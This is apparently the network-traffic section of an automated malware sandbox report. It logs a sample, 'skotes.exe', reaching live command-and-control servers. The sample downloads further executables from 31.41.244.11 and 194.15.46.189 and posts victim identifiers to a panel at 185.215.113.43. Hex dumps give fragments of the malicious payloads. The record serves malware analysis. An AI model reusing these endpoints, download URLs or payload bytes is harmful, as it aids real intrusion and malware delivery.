<c>1009917001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a28ca151ee800b2151503418ec8c74196fe9a5536e6#1009923001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2fc3141ce900b61915034080f2b00f96979a5536e6#1009928001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e27c01515eb05b51f1103619bf1c609e7809a5536e6#1009935001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1009940001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1009941001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1009942001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009943001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009944001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009945001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50092	31.41.244.11	80	8632	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:26:09.813947916 CET	66	OUT	GET /files/1784263691/tvtC9D3.exe HTTP/1.1 Host: 31.41.244.11
Nov 28, 2024 17:26:11.159040928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 16:26:10 GMT Content-Type: application/octet-stream Content-Length: 43115 Last-Modified: Thu, 28 Nov 2024 14:22:59 GMT Connection: keep-alive ETag: "67487cc3-a86b" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 20 81 e9 50 4e d2 e9 50 4e d2 e9 50 4e d2 2a 5f 11 d2 eb 50 4e d2 e9 50 4f d2 4a 50 4e d2 2a 5f 13 d2 e6 50 4e d2 bd 73 7e d2 e3 50 4e d2 2e 56 48 d2 e8 50 4e d2 52 69 63 68 e9 50 4e d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fb 43 08 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 d2 02 00 00 08 00 00 52 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 60 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1 PNPNPN_PNPOJPN_PNs~PN.VHPNRichPNPELCfjR5@`@PP.texthj `.rdatadn@@.data@.ndataP.rsrcPP@@
Nov 28, 2024 17:26:11.159061909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 8b 0d 08 47 Data Ascii: U\}t+}FEuHGCHPuuu\@BSV5GCEWPu`@eEEPud@}eT@FRVVU+MM3FQNUMVTUFPE
Nov 28, 2024 17:26:11.159075975 CET	1236	IN	Data Raw: cc 36 43 00 39 5d f8 0f 84 16 0f 00 00 53 ff 15 20 82 40 00 e9 0a 0f 00 00 50 e8 af fe ff ff 48 53 50 e8 c3 fe ff ff e9 8f 17 00 00 53 50 e8 2a 41 00 00 e9 78 17 00 00 53 e8 cc 18 00 00 83 f8 01 59 89 55 f0 7f 03 33 c0 40 50 ff 15 d4 80 40 00 e9 Data Ascii: 6C9]S @PHSPSP*AxSYU3@P@Zu$@L9]9}GCT@GCGCj{YUMGC9]GCGCT@E4GC3;#MDE4GC
Nov 28, 2024 17:26:11.159128904 CET	1236	IN	Data Raw: 43 00 00 e9 d4 12 00 00 6a 01 e8 49 14 00 00 50 e8 05 4c 00 00 e9 d0 0c 00 00 6a 02 e8 15 14 00 00 6a 03 89 45 ec 89 55 f0 e8 08 14 00 00 59 8b f0 8b 45 ec 59 6a 01 89 75 c4 89 55 c8 89 45 08 e8 13 14 00 00 50 89 45 bc e8 cc 4b 00 00 39 5d f0 66 Data Ascii: CjIPLjjEUYEYjuUEPEK9]fuE9]zM;}4;h;~EpPW}K9]}WKEy]E=4fG+j j19]PVu@u\|E@3FVmhWP
Nov 28, 2024 17:26:11.159142017 CET	1236	IN	Data Raw: 72 01 00 00 ff 75 08 ff 15 58 82 40 00 3b c3 74 0c 39 5d c8 75 07 50 ff 15 54 80 40 00 39 5d d0 0f 8c e2 0d 00 00 56 e9 1f f7 ff ff ff 75 f8 ff 15 48 82 40 00 6a 02 8b f0 e8 24 0f 00 00 59 8b d8 6a 48 6a 5a 56 89 55 f0 ff 15 48 80 40 00 50 53 ff Data Ascii: ruX@;t9]uPT@9]VuH@j$YjHjZVUH@PSH@Vu@L@j@EYUu@@$h@@@Fh@\@ZSjU9]YYUPVu(@#P@S
Nov 28, 2024 17:26:11.159152031 CET	1236	IN	Data Raw: e9 2f 09 00 00 6a f4 eb f2 53 e8 a1 0a 00 00 6a 11 8b f0 e8 98 0a 00 00 6a 23 8b f8 e8 8f 0a 00 00 56 89 45 08 e8 8f 45 00 00 85 c0 75 0d 53 6a f9 e8 ab 32 00 00 e9 fd 05 00 00 8b 45 f8 56 89 45 90 c7 45 94 02 00 00 00 e8 24 42 00 00 57 66 89 5c Data Ascii: /jSjj#VEEuSj2EVEE$BWf\FBf\GEfMPSu}EfMh2EP@=th jSAP8GCx33;tS9]tj9]tj"jPSWV
Nov 28, 2024 17:26:11.159164906 CET	1236	IN	Data Raw: 08 53 ff d6 85 c0 74 cc eb 2d 39 5d dc 75 16 39 5d f8 75 11 53 ff 75 e8 e8 3c 39 00 00 85 c0 0f 8c 8f 00 00 00 8d 45 b0 6a 02 50 ff 75 e8 e8 c8 38 00 00 85 c0 74 7d 8b 45 b0 39 5d dc 75 31 66 83 7d c8 0d 74 3b 66 83 7d c8 0a 74 34 8b 4d f4 8b 55 Data Ascii: St-9]u9]uSu<9EjPu8t}E9]u1f}t;f}t4MUEf;fQEtRE;EDPuS<f9Etf=tf=uMUEfQEjSPu4@ME;fA'f9jYUuSPW<P4@9]l
Nov 28, 2024 17:26:11.159363985 CET	108	IN	Data Raw: 40 00 55 1a 40 00 97 1a 40 00 d7 1a 40 00 9c 1b 40 00 c0 1b 40 00 68 1c 40 00 68 1c 40 00 3c 1d 40 00 5d 1d 40 00 82 1d 40 00 a6 1d 40 00 73 1e 40 00 03 1f 40 00 37 1f 40 00 c9 1f 40 00 1b 20 40 00 4f 20 40 00 fc 20 40 00 cf 21 40 00 24 23 40 00 Data Ascii: @U@@@@@h@h@<@]@@@s@@7@@ @O @ @!@$#@#@#@$@Y$@$@O%@%
Nov 28, 2024 17:26:11.159375906 CET	1236	IN	Data Raw: 40 00 2d 26 40 00 41 26 40 00 63 26 40 00 11 27 40 00 b4 28 40 00 e9 28 40 00 03 29 40 00 30 29 40 00 75 29 40 00 80 2a 40 00 10 2b 40 00 7e 2b 40 00 4f 2c 40 00 2a 2c 40 00 63 26 40 00 11 27 40 00 07 1b 40 00 0e 1b 40 00 15 1b 40 00 1a 1b 40 00 Data Ascii: @-&@A&@c&@'@(@(@)@0)@u)@@+@~+@O,@,@c&@'@@@@@*@.@2@;@D@Q@a@@@@D$L@V4j7V7^Vt$W}L@4@P7}W!:_^UEPE Pj"
Nov 28, 2024 17:26:11.159385920 CET	1236	IN	Data Raw: 45 f8 01 3d 18 ea 41 00 2b f7 0f 85 22 ff ff ff 33 db 6a 01 e8 22 fe ff ff 39 1d 14 47 43 00 59 74 53 39 5d fc 74 22 ff 35 18 ea 41 00 e8 d5 02 00 00 8d 45 08 6a 04 50 e8 b4 02 00 00 85 c0 74 34 8b 45 f8 3b 45 08 75 2c ff 75 ec 6a 40 ff 15 10 81 Data Ascii: E=A+"3j"9GCYtS9]t"5AEjPt4E;Eu,uj@@GCPuVSjf;EtP@SjYE5GCGCtGCjFDY0IujSSu4@F<j@Vh GCR-3_^[USVuW}uuE
Nov 28, 2024 17:26:11.285145998 CET	1236	IN	Data Raw: 22 c7 05 00 47 43 00 00 00 40 00 5e 8b c3 66 39 35 00 f0 43 00 75 07 8b fe b8 02 f0 43 00 57 50 e8 77 27 00 00 50 ff 15 08 82 40 00 8b c8 89 4c 24 1c e9 f6 00 00 00 6a 20 5a 66 3b c2 75 07 41 41 66 39 11 74 f9 66 39 31 89 54 24 10 75 06 41 89 74 Data Ascii: "GC@^f95CuCWPw'P@L$j Zf;uAAf9tf91T$uAt$Af9/AAf9SufAf;tf;uGC@3@@@;uA;ufAf= tf;uL$@3@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50093	194.15.46.189	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:26:13.327817917 CET	145	OUT	HEAD /UnRAR.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: 194.15.46.189
Nov 28, 2024 17:26:14.570641994 CET	242	IN	HTTP/1.1 200 OK Content-Length: 506008 Content-Type: application/octet-stream Last-Modified: Fri, 22 Nov 2024 15:22:09 GMT Accept-Ranges: bytes ETag: "70eb94cf23cdb1:0" Server: Microsoft-IIS/10.0 Date: Thu, 28 Nov 2024 16:26:13 GMT
Nov 28, 2024 17:26:14.605823040 CET	217	OUT	GET /UnRAR.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Fri, 22 Nov 2024 15:22:09 GMT Range: bytes=0-1119 User-Agent: Microsoft BITS/7.8 Host: 194.15.46.189
Nov 28, 2024 17:26:15.003806114 CET	1236	IN	HTTP/1.1 206 Partial Content Content-Type: application/octet-stream Last-Modified: Fri, 22 Nov 2024 15:22:09 GMT Accept-Ranges: bytes ETag: "70eb94cf23cdb1:0" Server: Microsoft-IIS/10.0 Date: Thu, 28 Nov 2024 16:26:13 GMT Content-Length: 1120 Content-Range: bytes 0-1119/506008 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8c 67 b9 7d c8 06 d7 2e c8 06 d7 2e c8 06 d7 2e 7c 9a 26 2e ce 06 d7 2e 7c 9a 24 2e 4a 06 d7 2e 7c 9a 25 2e c5 06 d7 2e 48 7d 2a 2e ca 06 d7 2e 48 7d d3 2f da 06 d7 2e 48 7d d4 2f c2 06 d7 2e c1 7e 50 2e c9 06 d7 2e 48 7d d2 2f fe 06 d7 2e c1 7e 44 2e c7 06 d7 2e c8 06 d6 2e 7a 06 d7 2e 46 7d d2 2f fd 06 d7 2e 46 7d 28 2e c9 06 d7 2e 46 7d d5 2f c9 06 d7 2e 52 69 63 68 c8 06 d7 2e 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 f4 96 40 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 62 05 00 00 f2 02 00 00 00 00 00 e0 1a 04 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$g}...\|&..\|$.J.\|%..H}*..H}/.H}/.~P..H}/.~D...z.F}/.F}(..F}/.Rich.PEd@f"!b@'`\|H4(80ITJ(G@.textab `.rdata34f@@.data.@.pdata46@@_RDATA\@@.rsrcH@@.reloc8@B
Nov 28, 2024 17:26:15.003830910 CET	173	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 8d 0d 39 1e Data Ascii: H9HH(HEtHaH(H(H5HaH(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50094	185.215.113.43	80	8632	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:26:13.758791924 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 39 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009917001&unit=246122658369
Nov 28, 2024 17:26:15.110826969 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 16:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50095	31.41.244.11	80	8632	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:26:15.233114958 CET	66	OUT	GET /files/6015073251/uxN4wDZ.exe HTTP/1.1 Host: 31.41.244.11
Nov 28, 2024 17:26:16.569705963 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 16:26:16 GMT Content-Type: application/octet-stream Content-Length: 1008128 Last-Modified: Thu, 28 Nov 2024 14:58:53 GMT Connection: keep-alive ETag: "6748852d-f6200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 3f 33 48 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ac 09 00 00 08 01 00 00 00 00 00 ec 9d 08 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 0f 00 00 06 00 00 00 00 00 00 03 00 40 82 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 3b 0a 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 0a 00 ac 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 08 0a 00 18 00 00 00 b0 d4 09 00 c0 00 00 00 00 00 00 00 00 00 00 00 80 3d [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL?3Hg@@;PN=.textJ `.rdata,@@.dataE`"D@.00cfgf@@.tlsh@.relocNPj@B.bss
Nov 28, 2024 17:26:16.569729090 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 17:26:16.569742918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 17:26:16.569753885 CET	1236	IN	Data Raw: 80 e6 00 20 e8 88 e3 80 e3 00 20 e9 08 c6 08 cb 30 de 08 e2 80 f2 ff 80 cd 00 20 ea 08 d6 f6 c6 01 be 20 34 eb 96 bf 67 b1 6c 98 0f 45 fe 89 7d bc e9 76 0d 00 00 50 89 e0 50 89 e1 89 4d c4 50 89 e1 50 89 e2 50 89 e6 89 75 c8 50 89 e6 89 75 cc 50 Data Ascii: 0 4glE}vPPMPPPuPuPuPuPuPuPuu0}][MEM!M!EEMEMEJJ4
Nov 28, 2024 17:26:16.569766998 CET	1236	IN	Data Raw: 83 ea 01 81 ea 8a 3d 2c 8a 0f af c2 83 e0 01 83 f8 00 0f 94 c3 83 f9 0a 0f 9c c7 88 d8 34 ff 88 fc 80 f4 ff b1 01 80 f1 01 88 c5 80 e5 ff 20 cb 88 e2 80 e2 ff 20 cf 08 dd 08 fa 30 d5 08 e0 34 ff 80 c9 01 20 c8 08 c5 f6 c5 01 be 58 68 29 a3 bf fe Data Ascii: =,4 04 Xh)vyE}xEMMEEY1!UJJ 0vyEUECE
Nov 28, 2024 17:26:16.569890976 CET	1236	IN	Data Raw: 55 c8 8b 12 89 d6 83 f6 ff 81 e6 dd a7 c3 35 bf ff ff ff ff 81 f7 dd a7 c3 35 21 fa 89 cb 83 f3 ff 81 e3 dd a7 c3 35 21 f9 09 d6 09 cb 31 de 8b 4d c8 89 31 8b 4d c8 69 09 95 e9 d1 5b 8b 55 c8 89 0a 8b 4d c8 8b 09 c1 e9 0f 8b 55 c8 8b 12 89 d6 83 Data Ascii: U55!5!1M1Mi[UMU!!M9MMJJ 0MeEuSEM1EA_Ee^_[]PPPPPPPEPEEEM
Nov 28, 2024 17:26:16.569909096 CET	1236	IN	Data Raw: 20 e8 88 e3 80 e3 00 20 e9 08 c6 08 cb 30 de 08 e2 80 f2 ff 80 cd 00 20 ea 08 d6 f6 c6 01 be f8 71 b6 7f bf 27 ad 32 1b 0f 45 fe 89 7d e4 e9 87 00 00 00 50 89 e0 8b 4d e0 89 08 8b 00 8b 40 10 89 45 ec a1 bc 80 4a 00 8b 15 c0 80 4a 00 89 c6 81 c6 Data Ascii: 0 q'2E}PM@EJJ#mu#mu 0l&'2Eu*EM1EZEe^_[]PMEqUSWVuJ1EJJ;q
Nov 28, 2024 17:26:16.570007086 CET	1120	IN	Data Raw: 00 00 00 8b 45 a4 2d 38 70 55 f6 0f 84 0e 0e 00 00 e9 00 00 00 00 8b 45 a4 2d 95 3a 17 11 0f 84 47 09 00 00 e9 00 00 00 00 8b 45 a4 2d 08 0f 24 1f 0f 84 5d 05 00 00 e9 00 00 00 00 8b 45 a4 2d 34 53 d4 27 0f 84 ff 09 00 00 e9 00 00 00 00 8b 45 a4 Data Ascii: E-8pUE-:GE-$]E-4S'E-.E-\.PE-(4E-6E-o{<CE-<@E-<mEE-^NFE-0YR
Nov 28, 2024 17:26:16.570027113 CET	1236	IN	Data Raw: 45 a0 89 04 24 e8 ca 09 00 00 8b 4d dc 83 ec 08 89 0c 24 c7 44 24 04 35 02 00 00 89 45 9c e8 b1 e4 ff ff 83 c4 08 8b 4d b8 3b 01 0f 94 c3 80 e3 01 88 5d e7 a1 cc 80 4a 00 8b 0d d0 80 4a 00 89 c2 81 c2 af d3 46 3d 83 ea 01 81 ea af d3 46 3d 0f af Data Ascii: E$M$D$5EM;]JJF=F=4 04 0YR\.E}E$}6EUJJ`"`"4
Nov 28, 2024 17:26:16.570041895 CET	1236	IN	Data Raw: 88 c5 80 e5 00 20 cb 88 e2 80 e2 00 20 cf 08 dd 08 fa 30 d5 08 e0 34 ff 80 c9 00 20 c8 08 c5 f6 c5 01 be 95 3a 17 11 bf 14 e5 06 95 0f 45 fe 89 7d b0 e9 bb 04 00 00 c7 45 b0 a7 3f b3 d0 e9 af 04 00 00 31 c0 8b 0d cc 80 4a 00 8b 15 d0 80 4a 00 83 Data Ascii: 04 :E}E?1JJ4 04 IgXgE}C1M))MJJ:VH:VH
Nov 28, 2024 17:26:16.689961910 CET	1236	IN	Data Raw: e9 19 00 00 00 8b 45 bc 8b 4d cc c7 45 b0 2e 66 57 b2 e9 07 00 00 00 c7 45 b0 08 17 15 91 e9 be ef ff ff cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 64 8b 45 08 31 d2 8b 35 84 75 4a 00 31 ee 89 75 f0 8b 35 d4 80 4a 00 8b 3d d8 80 4a 00 83 Data Ascii: EME.fWEUSWVdE15uJ1u5J=JUUEMEEEE-x^E-3jE-EM

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 28, 2024 17:26:01.537106037 CET	13.107.246.63	443	192.168.2.6	50073	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49707	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:05 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 57 4e 41 45 31 31 53 49 2b 6b 71 56 71 63 59 33 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 34 35 66 66 37 30 30 62 34 33 62 35 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: WNAE11SI+kqVqcY3.1Context: 3a45ff700b43b51
2024-11-28 16:24:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-28 16:24:05 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 57 4e 41 45 31 31 53 49 2b 6b 71 56 71 63 59 33 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 34 35 66 66 37 30 30 62 34 33 62 35 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4e 32 58 47 4f 4d 57 6e 50 7a 44 6c 75 39 2b 43 66 52 6b 4b 7a 58 54 55 49 42 76 55 54 45 6a 58 64 46 50 44 55 53 4b 43 65 70 76 45 2b 7a 6b 55 65 76 5a 71 4e 71 70 33 46 33 37 71 4b 59 39 69 6c 64 2f 6b 7a 78 38 62 6d 74 44 56 34 7a 31 66 75 55 49 32 2b 76 44 55 61 62 36 39 5a 30 75 4b 7a 71 59 65 58 32 43 76 7a 66 33 5a 71 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: WNAE11SI+kqVqcY3.2Context: 3a45ff700b43b51<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASN2XGOMWnPzDlu9+CfRkKzXTUIBvUTEjXdFPDUSKCepvE+zkUevZqNqp3F37qKY9ild/kzx8bmtDV4z1fuUI2+vDUab69Z0uKzqYeX2Cvzf3Zq
2024-11-28 16:24:05 UTC	73	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 35 0d 0a 4d 53 2d 43 56 3a 20 57 4e 41 45 31 31 53 49 2b 6b 71 56 71 63 59 33 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 34 35 66 66 37 30 30 62 34 33 62 35 31 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 55MS-CV: WNAE11SI+kqVqcY3.3Context: 3a45ff700b43b51
2024-11-28 16:24:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-28 16:24:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 74 51 42 56 45 4a 4f 36 45 79 4c 66 36 75 44 77 56 48 38 62 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TtQBVEJO6EyLf6uDwVH8bg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49708	20.190.181.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:06 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
